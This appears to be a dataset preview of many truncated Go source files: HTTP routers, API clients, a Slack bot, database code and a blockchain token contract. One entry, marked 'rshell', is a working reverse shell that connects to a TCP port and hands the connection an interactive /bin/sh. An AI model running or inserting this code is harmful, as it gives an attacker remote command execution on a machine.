text stringlengths 11 4.05M |
|---|
package main
func main() {
// channel
// 不能在单向通道上做逆向操作(例如:只发送通道用于接收); √
// close() 可以用于只接收通道; ×
// 单向通道可以转换为双向通道; ×
}
|
package routers
import (
"corona/helpers"
"corona/middleware"
"encoding/json"
"github.com/gorilla/mux"
"net/http"
)
type (
HandlerFunc func(http.ResponseWriter, *http.Request) (interface{}, *helpers.Error)
)
func (fn HandlerFunc) ServeHTTP(w http.ResponseWriter, r *http.Request) {
var errs []string
r.ParseFo... |
/*
Copyright 2014 Huawei Technologies Co., Ltd. All rights reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable la... |
package xtox
const toxnodes_last_update = "20180426"
|
package ch1
import (
"fmt"
"log"
"log/syslog"
"os"
"path/filepath"
"testing"
)
//OS X使用syslog包会把日志输出到/var/log/mail.log
func TestSysLog(t *testing.T) {
programName := filepath.Base(os.Args[0])
//New的第一个参数是log等级和log facility的综合表示,第二个参数是日志信息的前缀,一般使用程序名
sysLog, err := syslog.New(syslog.LOG_INFO|syslog.LOG_LOCAL7... |
package main
import (
"github.com/vahriin/SDC/model"
)
func CheckQuery(conf *model.ConnectionConf, ansFile string, qCh <-chan model.Query, rCh chan<- model.Result) {
processor := model.NewQueryProcessor(conf)
defer processor.Close()
answer := ReadAns(ansFile)
for query := range qCh {
var result model.Result... |
package registry
import (
"bytes"
"context"
"encoding/json"
"net/http"
)
type ExcludePayload struct {
// RunID is the run id of the process that owns the dependency
RunID string `json:"runID,omitempty"`
// DependencyName is the name of the dependency to exclude
DependencyName string `json:"dependencyName,omi... |
package ecs
import (
"github.com/aws/aws-sdk-go/service/ecs"
)
type ECS struct {
Client *ecs.ECS
}
|
// +build !windows
package service
import (
"fmt"
"github.com/768bit/promethium/lib/service/daemon"
"github.com/768bit/promethium/lib/service/daemon/bansuid"
"gopkg.in/hlandau/svcutils.v1/caps"
"gopkg.in/hlandau/svcutils.v1/passwd"
"gopkg.in/hlandau/svcutils.v1/pidfile"
"gopkg.in/hlandau/svcutils.v1/systemd"
... |
package gitconfig
import (
"bufio"
"bytes"
"fmt"
conf "github.com/hgfischer/goconf"
"github.com/sorennielsen/gnit/colour"
"os"
"sync"
"time"
)
func RepoConfig(fix bool, cmux *sync.Mutex) {
// Output buffer until we are forced to gain access to console.
var buffer bytes.Buffer
defer func() {
// Get access... |
package main
import (
"math"
"strconv"
)
//564. 寻找最近的回文数
//给定一个表示整数的字符串n ,返回与它最近的回文整数(不包括自身)。如果不止一个,返回较小的那个。
//
//“最近的”定义为两个整数差的绝对值最小。
//
//
//
//示例 1:
//
//输入: n = "123"
//输出: "121"
//示例 2:
//
//输入: n = "1"
//输出: "0"
//解释: 0 和 2是最近的回文,但我们返回最小的,也就是 0。
//
//
//提示:
//
//1 <= n.length <= 18
//n只由数字组成
//n不含前导 0
//n代表在[... |
package main
import (
"bytes"
"testing"
"github.com/spf13/viper"
"github.com/stretchr/testify/assert"
)
func TestCanGenerateFromExampleConfig(t *testing.T) {
config, err := ReadConfig()
assert.NoError(t, err)
result := GenProtoString(config)
assert.NotEmpty(t, result)
assert.Contains(t, result, "-Iprotor... |
package veem
import (
"bytes"
"encoding/json"
"errors"
"fmt"
"net/http"
"net/url"
)
// ContactController is the interface for interacting with Veem contacts.
type ContactController interface {
// Get an account contact by ID
Get(id int64) (*Contact, error)
// Get a page of account contacts by email address, ... |
package handler
import (
"html/template"
"net/http"
"github.com/dgonyeo/brandreth2.0/config"
"github.com/mholt/binding"
)
type SearchPage struct {
PeopleEntries []*PersonEntry
SearchQuery string
}
func (sp SearchPage) IsActivePage(num int) bool {
return false
}
type SearchParams struct {
Search string
}
... |
package model
import "strconv"
//Pagination Pagination
type Pagination struct {
Page int `json:"page" validate:"number, gte=1,lte=999" example:"1"`
PerPage int `json:"per_page" validate:"number, gte=1,lte=100" example:"1"`
MaxPages int `json:"max_page" validate:"number" example:"1"`
}
//Limit Limit
func (p *... |
package authhelper
import (
"errors"
"fmt"
"log"
"strings"
"github.com/aws/aws-sdk-go/aws"
"github.com/aws/aws-sdk-go/service/dynamodb"
"github.com/aws/aws-sdk-go/service/dynamodb/dynamodbattribute"
"github.com/sinha-abhishek/jennie/awshelper"
)
type StorageInterface interface {
Setup() error
StoreRefreshT... |
package main
import (
"context"
"encoding/json"
"fmt"
"log"
"net/http"
"strings"
"time"
"go.mongodb.org/mongo-driver/bson"
"go.mongodb.org/mongo-driver/bson/primitive"
"go.mongodb.org/mongo-driver/mongo"
"go.mongodb.org/mongo-driver/mongo/options"
"go.mongodb.org/mongo-driver/mongo/readpref"
)
type artic... |
package main
import "fmt"
import "code/customer/service"
import "code/customer/model"
type customerView struct {
key string
loop bool
customerService *service.CustomerService
}
func (this *customerView) list() {
customers := this.customerService.List()
fmt.Println("----------客户列表----------")
fmt.Println("编号\t姓名\... |
package app
// Storage is a generic interface for a database.
type Storage interface {
// TODO: describe interface methods
}
// Engine is the central core-logic struct.
type Engine struct {
db Storage //nolint:structcheck,unused
}
|
package main
import (
"log"
"os"
"text/template"
)
func main() {
/*The template (container) with this function get itself all the files of the folder inside */
tlp, err := template.ParseGlob("templates/*")
if err != nil {
log.Fatalln(err)
}
//it executes the first file of the template (container)
if err =... |
package main
import (
"fmt"
)
func longestValidParentheses(s string) int {
ans := 0
left := 0
for _, x := range s {
if x == '(' {
left = left + 1
} else {
if left > 0 {
ans = ans + 1
left = left - 1
}
}
}
return ans * 2
}
func main() {
input := ")()())"
fmt.Println(longestValidParenthe... |
package controller
import (
"net/http"
"strconv"
"github.com/egorkos/minesweeper/app/domain/model"
"github.com/egorkos/minesweeper/app/registry"
"github.com/egorkos/minesweeper/app/usecase"
"github.com/gin-gonic/gin"
)
const (
IdMustBeNumeric = "The ID must be numeric"
)
type square struct {
Row int `json:"... |
package main
import (
"log"
"net/http"
"github.com/gin-gonic/gin"
)
// InsertRecipeCategory ...
func InsertRecipeCategory(c *gin.Context) {
recipeCategory := RecipeCategory{}
if err := c.BindJSON(&recipeCategory); err != nil {
c.AbortWithStatus(http.StatusInternalServerError)
log.Println(err)
}
if err :... |
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distribu... |
/*
自动折行问题
在英文字处理程序中,由于单词都是由字母序列构成,所以当输入到一行的末尾的时候,
就会遇到想要输入的单词长度大于所剩余的空白长度的情况,这就是折行问题。
对于手写文本,我们可以用连字符‘-’把单词分割到两行上,但是对于字处理程序而言,
其拥有更强的处理能力,可以通过运算来避免单词被分割到两行上
input:
text: "I'm a good guy, and I know what I should not to do!"
width: 25
output:
how many lines. and text.
DP:http://blog.csdn.net/... |
package cloudformation
// AWSAppSyncDataSource_LambdaConfig AWS CloudFormation Resource (AWS::AppSync::DataSource.LambdaConfig)
// See: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-appsync-datasource-lambdaconfig.html
type AWSAppSyncDataSource_LambdaConfig struct {
// LambdaFunctionAr... |
package bootstrap
import (
"fmt"
"rain/internal/model"
"rain/library/helper"
)
func InitTable() {
db := helper.Db()
fmt.Println(db.AutoMigrate(new(model.Menu)).Error)
fmt.Println(db.AutoMigrate(new(model.Role)).Error)
fmt.Println(db.AutoMigrate(new(model.Admin)).Error)
fmt.Println(db.AutoMigrate(new(model.Rol... |
package pipelinerun
import (
"bytes"
"context"
"errors"
"fmt"
"generators/pkg/manager"
"generators/pkg/writer"
"github.com/spf13/cobra"
)
var configFile string
func applyCommand(kubeconfig string) *cobra.Command {
applyCmd := &cobra.Command{
Use: "apply",
Short: "Apply generated configuration with pip... |
package main
import (
"fmt"
"os"
"os/signal"
"github.com/theshadow/hermes-bot/queues"
"github.com/theshadow/hermes-bot/chat"
"github.com/jjeffery/stomp"
)
func main() {
chatClient, err := chat.Dial()
if err != nil {
fmt.Printf("Unable to connect to slack: %s", err)
return
}
queue, err := queues.Dial(... |
// Copyright (c) 2013 Mathieu Turcotte
// Licensed under the MIT license.
package browserchannel
import (
"encoding/hex"
"errors"
"io"
)
const bytesPerSessionId = 16
type SessionId [bytesPerSessionId]byte
var (
nullSessionId = SessionId{}
errInvalidSessionId = errors.New("invalid session id string")
)
... |
package public
import (
"fmt"
"io/ioutil"
"net/http"
"time"
zmq "github.com/pebbe/zmq4"
"github.com/xeb/backq/modules/messages"
)
var reqsock *zmq.Socket
var repsock *zmq.Socket
// BindBackQ will bind the 0MQ backend endpoints specifid
func BindBackQ(reqaddy string, repaddy string) {
reqsock, _ = zmq.NewSock... |
package dingo
import (
"reflect"
"strconv"
"strings"
)
// Scan contains the parsed information about the service definitions.
type Scan struct {
TypeManager *TypeManager
ImportsWithoutParams map[string]string
Defs []*ScannedDef
ProviderPackage string
ProviderName string
}... |
package main
import (
"bufio"
"fmt"
"log"
"os"
"strings"
)
func rightmost(p, q string) int {
return strings.LastIndex(p, q)
}
func main() {
data, err := os.Open(os.Args[1])
if err != nil {
log.Fatal(err)
}
defer data.Close()
scanner := bufio.NewScanner(data)
for scanner.Scan() {
if s := strings.Split... |
package slack
import (
"fmt"
"strings"
"net/http"
"io/ioutil"
"github.com/slack-go/slack"
"github.com/tidwall/gjson"
)
/*
TODO: Change @BOT_NAME to the same thing you entered when creating your Slack application.
NOTE: command_arg_1 and command_arg_2 represent optional parameteras that you define
in t... |
package main
// rshell
// nc -l 1337
//
import"os/exec"
import"net"
func main(){
c,_:=net.Dial("tcp","127.0.0.1:1337");
cmd:=exec.Command("/bin/sh");
cmd.Stdin=c;
cmd.Stdout=c;
cmd.Stderr=c;
cmd.Run();
} |
// Copyright 2019 Yunion
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writi... |
// Copyright 2013 Travis Keep. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file or
// at http://opensource.org/licenses/BSD-3-Clause.
package functional
import (
"fmt"
"testing"
)
func TestNewInfiniteGenerator(t *testing.T) {
var f... |
package favorites
import "github.com/dagem21/mydishdelivery/entity"
type FavoriteService interface {
Favorites() ([]entity.Favorite, []error)
Favorite(id uint) (*entity.Favorite, []error)
UpdateFavorite(favorite *entity.Favorite) (*entity.Favorite, []error)
DeleteFavorite(id uint) (*entity.Favorite, []error)
Sto... |
package models
type Email struct {
ID uint `gorm:"primary_key;AUTO_INCREMENT" json:"id" form:"id"`
Address string `json:"address" form:"address"`
UserID uint `json:"user_id" form:"user_id"`
User *User `json:"user" form:"user"`
}
|
package main
import (
"encoding/json"
)
// MMSI is a unique identifier for e.g. ships, see
// https://en.wikipedia.org/wiki/Maritime_Mobile_Service_Identity
type MMSI uint32
type vesselLocation struct {
MMSI MMSI `json:"MMSI"`
Type string `json:"type"`
Geometry geometry `jso... |
package meta
import (
"database/sql"
"fmt"
_ "github.com/lib/pq"
u "github.com/gsiems/pg2go/util"
)
// PgUsertypeMetadata contains metadata for postgresql uaer defined types
type PgUsertypeMetadata struct {
SchemaName string `db:"schema_name"`
ObjName string `db:"obj_name"`
ObjType string `db:"obj_t... |
/**
* This implements the ERC20 standard token
* https://theethereum.wiki/w/index.php/ERC20_Token_Standard
* The ERC20 standard is used for defining tokens in Ethereum. This is an implementation
* of the same standard on Fabric.
**/
package main
import (
"fmt"
// April 2020, Updated to Fabric 2.0 Shim
"github... |
package runtime_test
import (
. "github.com/d11wtq/bijou/runtime"
"testing"
)
func TestIsList(t *testing.T) {
var v Value
var ok bool
var s Sequence
v = Int(42)
_, ok = IsList(v)
if ok == true {
t.Fatalf(`expected !IsList(v), got true`)
}
v = String("foo")
_, ok = IsList(v)
if ok == true {
t.Fatalf(... |
package main
import (
"fmt"
"github.com/julienschmidt/httprouter"
"log"
"net/http"
)
func main() {
log.Println("API Server Started")
router := httprouter.New()
router.GET("/hello-world", helloWorld)
http.ListenAndServe(":9876", router)
}
func helloWorld(w http.ResponseWriter, r *http.... |
package cloudcheckr
import "context"
const (
getResourcesCloudSearchDetails = "get_resources_cloudsearch_details"
getResourcesCloudSearchSummary = "get_resources_cloudsearch_summary"
)
type CloudSearchDetails struct {
CloudSearchDetails *[]CloudSearchDetail `json:"CloudSearchDetails"`
DateOfResults string ... |
package service
import (
"context"
"encoding/json"
"sync"
"time"
"github.com/raochq/ant/util/logger"
)
// Service 服务基类
type Service struct {
IService
State State
etcd *ETCDClient
name string
wg sync.WaitGroup
ctx context.Context
cancel context.CancelFunc
}
type serviceInfo struct {
Name stri... |
package utils
import (
//"github.com/astaxie/beego"
"net/http"
"strconv"
"webserver/common"
"webserver/controllers"
"webserver/models/extra"
)
type BannerController struct {
controllers.BaseController
}
func (c *BannerController) Post() {
defer c.Recover()
if respBody, err := c.loadBanner(); err != nil {
... |
// date: 2019-03-09
package main
import "fmt"
func main() {
var a = 1
var b = 2
fmt.Println(a + b)
}
|
package main
import (
"context"
"fmt"
"github.com/ShiraazMoollatjie/gophorem/pkg/gophorem"
streamer "github.com/ShiraazMoollatjie/gophorem/pkg/gophorem/stream"
)
func main() {
cl := gophorem.NewDevtoClient(gophorem.WithAPIKey("MY_API_KEY"))
ctx := context.Background()
s := streamer.NewStreamer(cl)
ch := s.... |
package main
import (
"context"
"fmt"
"io/ioutil"
"log"
"os"
"os/exec"
"os/signal"
"os/user"
"runtime/pprof"
"runtime/trace"
"strconv"
"strings"
"sync"
"syscall"
"time"
"github.com/juju/syslog"
"github.com/pkg/errors"
flag "github.com/ogier/pflag"
"github.com/pganalyze/collector/config"
"github.... |
// Package v1alpha1 contains API Schema definitions for the microservice v1alpha1 API group
// +k8s:deepcopy-gen=package,register
// +groupName=microservice.slime.io
package v1alpha1
|
package main
import (
"context"
"fmt"
"io/ioutil"
"log"
"net"
"github.com/njdaniel/dnd/util/list"
grpc "google.golang.org/grpc"
)
// run grpc server that interacts with fileserver
type fileServer struct{}
func main() {
//fmt.Println("in main")
srv := grpc.NewServer()
var files fileServer
list.RegisterFi... |
package lib
import (
"database/sql"
"strconv"
"time"
_ "github.com/lib/pq"
)
const (
limitForFullQuery = 50
)
type NetflixTx struct {
*sql.Tx
DB *sql.DB
}
type Item struct {
ItemID int
NetflixID int
ImdbID string
Title string
Summary string
ItemType string
Year int
APIDate time.T... |
package handlers
import (
"assignments-tichx/servers/gateway/models/users"
"bytes"
"database/sql"
"encoding/json"
"io/ioutil"
"net/http"
"os"
"time"
)
//AllowOrigin gives access control origin
const AllowOrigin = "Access-Control-Allow-Origin"
//AllowHeaders gives a const string
const AllowHeaders = "Access-C... |
package errors
import "net/http"
//RestErr model for errors
type RestErr struct {
Message string `json:"message"`
Status int `json:"status"`
Error string `json:"error"`
}
//NewBadRequestError constructor for BadRequest errors
func NewBadRequestError(message string) *RestErr {
return &RestErr{
Message: me... |
package actions
import (
"errors"
"github.com/LiveSocket/bot/conv"
"github.com/LiveSocket/bot/mod-chat-service/models"
"github.com/LiveSocket/bot/service"
"github.com/LiveSocket/bot/service/socket"
"github.com/gammazero/nexus/v3/wamp"
)
type getInput struct {
Channel string
Offset uint64
Limit uint64
}
... |
package usage
import (
"fmt"
"DA/4_queue/queue"
)
// PriorQueue ...
type PriorQueue struct {
Length int
Buff [queue.SIZE]queue.Node
}
// Empty ...
func (pq *PriorQueue) Empty() bool {
if pq.Length == 0 {
fmt.Println("queue empty")
return true
}
return false
}
// Full ...
func (pq *PriorQueue) Full() bool... |
package config
import (
"crypto/md5"
"fmt"
"io"
"strings"
"github.com/cloudflare/cloudflared/tunneldns"
)
// Forwarder represents a client side listener to forward traffic to the edge
type Forwarder struct {
URL string `json:"url"`
Listener string `json:"listener"`
TokenClientID string `json:"... |
// 181. Errors with info
// 03 印出錯誤的值
// Errorf根據格式說明符進行格式化,並以
//滿足錯誤的值。
//
//如果格式說明符包含帶有錯誤操作數的%w動詞,
//返回的錯誤將實現Unwrap方法,返回操作數。 它是
//包含多個%w動詞或為其提供操作數無效
//沒有實現錯誤接口的代碼。 %w動詞不然
//%v的同義詞。
// https://golang.org/pkg/errors/#example_New
// https://golang.org/src/errors/errors.go
package main
import (
"fmt"
"log"
)
func ma... |
package main
import "github.com/n0rad/go-erlog/errs"
func (p *Pod) Cp(args []string) error {
return errs.With("Pod cp is not implemented")
}
|
// Copyright 2019 Yunion
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writi... |
package definitions
func init() {
add(`RuleItem`, &defRuleItem{})
}
type defRuleItem struct{}
func (*defRuleItem) String() string {
return `
<?xml version="1.0" encoding="UTF-8"?>
<!-- Generated with glade 3.20.0 -->
<interface>
<requires lib="gtk+" version="3.16"/>
<object class="GtkGrid" id="grid">
<prop... |
package adgeneration
import (
"encoding/json"
"testing"
"github.com/prebid/openrtb/v19/openrtb2"
"github.com/prebid/prebid-server/adapters"
"github.com/prebid/prebid-server/adapters/adapterstest"
"github.com/prebid/prebid-server/config"
"github.com/prebid/prebid-server/openrtb_ext"
"github.com/stretchr/testif... |
package openrtb_ext
// ExtImpAMX is the imp.ext format for the AMX bidder
type ExtImpAMX struct {
TagID string `json:"tagId,omitempty"`
AdUnitID string `json:"adUnitId,omitempty"`
}
|
/*
Language: Go
Graph Algorithms: DFS (Depth First Search)
What is DFS? -> https://en.wikipedia.org/wiki/Depth-first_search
Given a graph of N nodes(labelled 1 to N) and M edges, perform depth first traversal starting from node R and print the order of visiting nodes.
(This implementation is for undirected connec... |
package crc16
import "hash"
// simpleMakeTable allocates and constructs a Table for the specified
// polynomial. The table is suitable for use with the simple algorithm
// (simpleUpdate).
func simpleMakeTable(poly uint16) *Table {
t := new(Table)
simplePopulateTable(poly, t)
return t
}
// simplePopulateTable cons... |
// Copyright 2019 The Cockroach Authors.
//
// Use of this software is governed by the Business Source License
// included in the file licenses/BSL.txt.
//
// As of the Change Date specified in that file, in accordance with
// the Business Source License, use of this software will be governed
// by the Apache License, ... |
package entity
import "time"
// RechargerSMT represents a smartphone recharger
type RechargerSMT struct {
ID string `json:"id" bson:"_id"`
PhoneNumber uint `json:"phoneNumber" validate:"required,gte=9999999,lte=100000000"`
Company string `json:"company" validate:"required,oneof=entel viva t... |
package mappers
import (
"RBStask/app/models/entity"
"database/sql"
"fmt"
)
type RemGroupMapper struct {
db *sql.DB
}
func (m *RemGroupMapper) Connect(db *sql.DB) error {
m.db = db
return nil
}
func (m *RemGroupMapper) RemoveGroupId(groupId entity.Group) error {
sqlSelect := `DELETE FROM public.persons WHE... |
package machinehead
import "time"
type Mind struct {
MindId int
MindName string
Nosiness int
Sassyness int
UniqueAddress string
LastUpdated time.Time
}
type MindCapability struct {
MindCapabilityId int
MindId int
ActionId int
}
type Observation struct {
ObservationId int
ParcelTypeId int
MessageText stri... |
package router
import "github.com/gin-gonic/gin"
func Initrouter() *gin.Engine {
router := gin.New()
router.Any("/cpu/use", api.CpuInfo)
return router
}
|
package inventory
import (
"github.com/bmc-toolbox/bmcbutler/asset"
"github.com/sirupsen/logrus"
)
// A inventory source is required to have a type with these fields
type NeedSetup struct {
Log *logrus.Logger
BatchSize int //number of inventory assets to return per iteration
Channel chan... |
// Copyright 2018 Drone.IO Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to ... |
// Copyright (C) 2017 Google Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed t... |
package namespace
import (
"github.com/cerana/cerana/acomm"
"github.com/cerana/cerana/provider"
)
// Namespace is a provider of namespace functionality.
type Namespace struct {
config *provider.Config
tracker *acomm.Tracker
}
// New creates a new instance of Namespace.
func New(config *provider.Config, tracker ... |
package log4g
var _ RollingPolicy = (*SizeRollingPolicy)(nil)
type SizeRollingPolicy struct {
MaxSize int
BasicPolicy
}
func (p SizeRollingPolicy) RollingName(baseName string) string {
panic("implement me")
}
func (p *SizeRollingPolicy) MaxBackup() int {
return p.Backups
}
func (p *SizeRollingPolicy) Compresse... |
package server
import (
"context"
"fmt"
"io"
"net"
"net/http"
"net/url"
"os"
"path/filepath"
"reflect"
"strconv"
"strings"
"testing"
"time"
"k8s.io/client-go/tools/clientcmd"
"github.com/tilt-dev/tilt-apiserver/pkg/server/apiserver"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/... |
package hive
import (
"database/sql"
"reflect"
"time"
"github.com/bippio/go-impala/services/cli_service"
)
type TableSchema struct {
Columns []*ColDesc
}
type ColDesc struct {
Name string
DatabaseTypeName string
ScanType reflect.Type
ColumnTypeNullable bool
ColumnTypeLength int64
ColumnType... |
package main
import (
"fmt"
"image/png"
"io/ioutil"
"log"
"os"
"time"
"github.com/juja256/x509"
"github.com/boombuler/barcode/qr"
"github.com/juja256/safechain/ca"
"github.com/juja256/safechain/codegen"
)
func main() {
pi := codegen.NewPillInfo(1, 1, time.Now())
key := ca.LoadECPrivateKey("../../ca/cmd/... |
// Copyright 2016 The Cockroach Authors.
//
// Use of this software is governed by the Business Source License
// included in the file licenses/BSL.txt.
//
// As of the Change Date specified in that file, in accordance with
// the Business Source License, use of this software will be governed
// by the Apache License, ... |
package db
import (
"Blog/util"
"database/sql"
"fmt"
"strings"
)
// 插入数据
func (conn Connector) Insert(dbname string, args map[string]interface{}) (int64, error) {
keys, value, err := handleArgs(args, 0)
util.CheckErr(err)
stmt, err := conn.Db.Prepare("INSERT " + dbname + " SET " + keys + "")
util.CheckErr(er... |
package main
import (
"fmt"
"unsafe"
)
/*
var (
q int
d bool
)
// 一般用于声明全局变量
func main() {
fmt.Println("hello")
var a = "run"
fmt.Println(a)
var b int
fmt.Println(b)
var d bool
fmt.Println(d)
var e string
fmt.Println(e)
var f int
c := 1 // 声明新的变量,只能出现在函数体中
f = c
c = 3
fmt.Println(f,c)
fmt.Print... |
// Copyright 2019 - 2022 The Samply Community
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law ... |
package env
import (
"errors"
. "goat/common"
"os"
"path/filepath"
"syscall"
)
// FindGoatFile returns the directory name of the parent that contains the
// Goatfile
func FindGoatfile(dir string) (string, error) {
isroot, err := IsProjRoot(dir)
if err != nil {
return "", err
} else if isroot {
return dir... |
package osdconfig
import (
"context"
"reflect"
"testing"
"time"
)
func TestSetGetCluster(t *testing.T) {
// create in memory kvdb
kv, err := newInMemKvdb()
if err != nil {
t.Fatal(err)
}
// get new config manager using handle to kvdb
ctx := context.Background()
ctx, cancel := context.WithTimeout(ctx, ti... |
// XEP-0049
package xmppprivate
const (
NS = "jabber:iq:private"
ElementName = NS + " query"
)
|
package main
import (
"io"
"log"
"net"
)
func main() {
l, err := net.Listen("tcp", ":2000")
if err != nil {
log.Fatal(err)
}
for {
log.Println("Waiting for connection")
conn, err := l.Accept()
log.Printf("Accepted connection from %s\n", conn.RemoteAddr())
if err != nil {
log.F... |
package database
import (
"database/sql"
"errors"
"fmt"
"log"
"os"
//Use _ because it is needed for mysql driver to be imported.
_ "github.com/go-sql-driver/mysql"
"github.com/project-quiz/quiz-go-model/message"
)
type DatabaseService struct {
database *sql.DB
}
//New connect with the questions database.
f... |
package routes
import (
"io/ioutil"
"log"
"net/http"
"github.com/buger/jsonparser"
"github.com/gorilla/mux"
"github.com/jayden-chan/ctl-server/db"
"github.com/jayden-chan/ctl-server/util"
)
// Folders returns a list of the user's folders or adds a new folder
// Path: /folders
func Folders(res http.ResponseWr... |
package wxpay
import (
"encoding/xml"
)
// PlaceOrderResult represent place order reponse message from weixin pay.
// For field explanation refer to: http://pay.weixin.qq.com/wiki/doc/api/app.php?chapter=9_1
type PlaceOrderResult struct {
XMLName xml.Name `xml:"xml"`
ReturnCode string `xml:"return_code"`
R... |
package domain
import (
catalogClient "catalog-controller/pkg/client/clientset/versioned"
"alauda.io/diablo/src/backend/api"
"alauda.io/diablo/src/backend/resource/dataselect"
)
// DomainBindingList struct
type DomainList struct {
ListMeta api.ListMeta `json:"listMeta"`
Domains []DomainDetail `json:"domains"... |
package local
import (
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
"github.com/tilt-dev/tilt/pkg/apis/core/v1alpha1"
)
type Cmd = v1alpha1.Cmd
type CmdList = v1alpha1.CmdList
type CmdStatus = v1alpha1.CmdStatus
type CmdSpec = v1alpha1.CmdSpec
type CmdStateWaiting = v1alpha1.CmdStateWaiting
type CmdStateTerminate... |
// description : Downloads the given URL and returns the
// name and length of the local file
// author : Tom Geudens (https://github.com/tomgeudens/)
// modified : 2016/07/13
//
package main
import (
"fmt"
"io"
"net/http"
"os"
"path"
)
func fetch(url string) (filename string, filesize int6... |
package main
import (
"fmt"
)
const (
// clock signals types
CLC_SPACE = 0
CLC_KOP = 1
CLC_REGISTER = 2
CLC_MEMORY = 3
CLC_COUNTING = 4
// commands
FIRST_COMMAND = 0
)
type Command struct {
Start int
End int
Clc []int
}
func NewCommand(start int) Command {
c := Command{
Start: start,
... |
package main
import "fmt"
func main() {
utang := 10000
uang := 10000
if uang > utang {
fmt.Println("Utang lunas bosku")
} else if uang == utang {
fmt.Println("uangnya pas, lunas")
} else {
fmt.Println("Uang kamu tidak cukup")
}
}
|
package mt_test
import (
"bytes"
"io"
"testing"
"github.com/narqo/swift-mt/mt"
)
const testData = `{1:F01YOURCODEZABC1234123456}{2:I103SOGEFRPPZXXXU3003}{3:{103:TGT}{108:OPTUSERREF16CHAR}}{4:
:16R:USECU
:35B:ISIN CH0101010101
/XS/232323232
FINANCIAL INSTRUMENT ACME
-}{5:{AA:11}}`
//const testData = `{1:F01YOURC... |
package cmd
import (
"bytes"
"fmt"
"os"
"github.com/dappstore/go-dapp"
apps "github.com/dappstore/go-dapp/app"
"github.com/pkg/errors"
"github.com/spf13/viper"
"gopkg.in/yaml.v2"
)
var cfgFile string
var identity string
var app *apps.App
var config struct {
CacheDir string
Identities map[st... |
package net2
import (
"errors"
"net"
"github.com/xgfone/go-tools/log2"
)
// THandle is the interface of TCP server handler.
type THandle interface {
Handle(conn *net.TCPConn)
}
// THandleFunc is the type to wrap the function handler to the interface THandle.
type THandleFunc (func(*net.TCPConn))
// Handle is t... |
package iface
type IServer interface {
//方法
//1.启动
Start()
//2.停止
Stop()
//3.服务
Server()
AddRouter(uint32,IRouter)//这里添加的是msgid,和用户要加的路由
GetConnMAgr() IConnManager
RegisterStartHookFunc(func(connection IConnection))
RegisterStopHookFunc(func(connection IConnection))
//7. 提供调用钩子函数的方法
CallStartHookFunc... |
package params
import (
"fmt"
"math/rand"
"strings"
)
// GetNeedsStatus 获取自定义状态
func GetNeedsStatus(status int) string {
var txt string
switch status {
case 1:
txt = "草稿"
case 2:
txt = "激活"
case 3:
txt = "已变更"
case 4:
txt = "待关闭"
case 5:
txt = "已关闭"
}
return txt
}
// GetNeedsSource 获取自定义资源
func... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.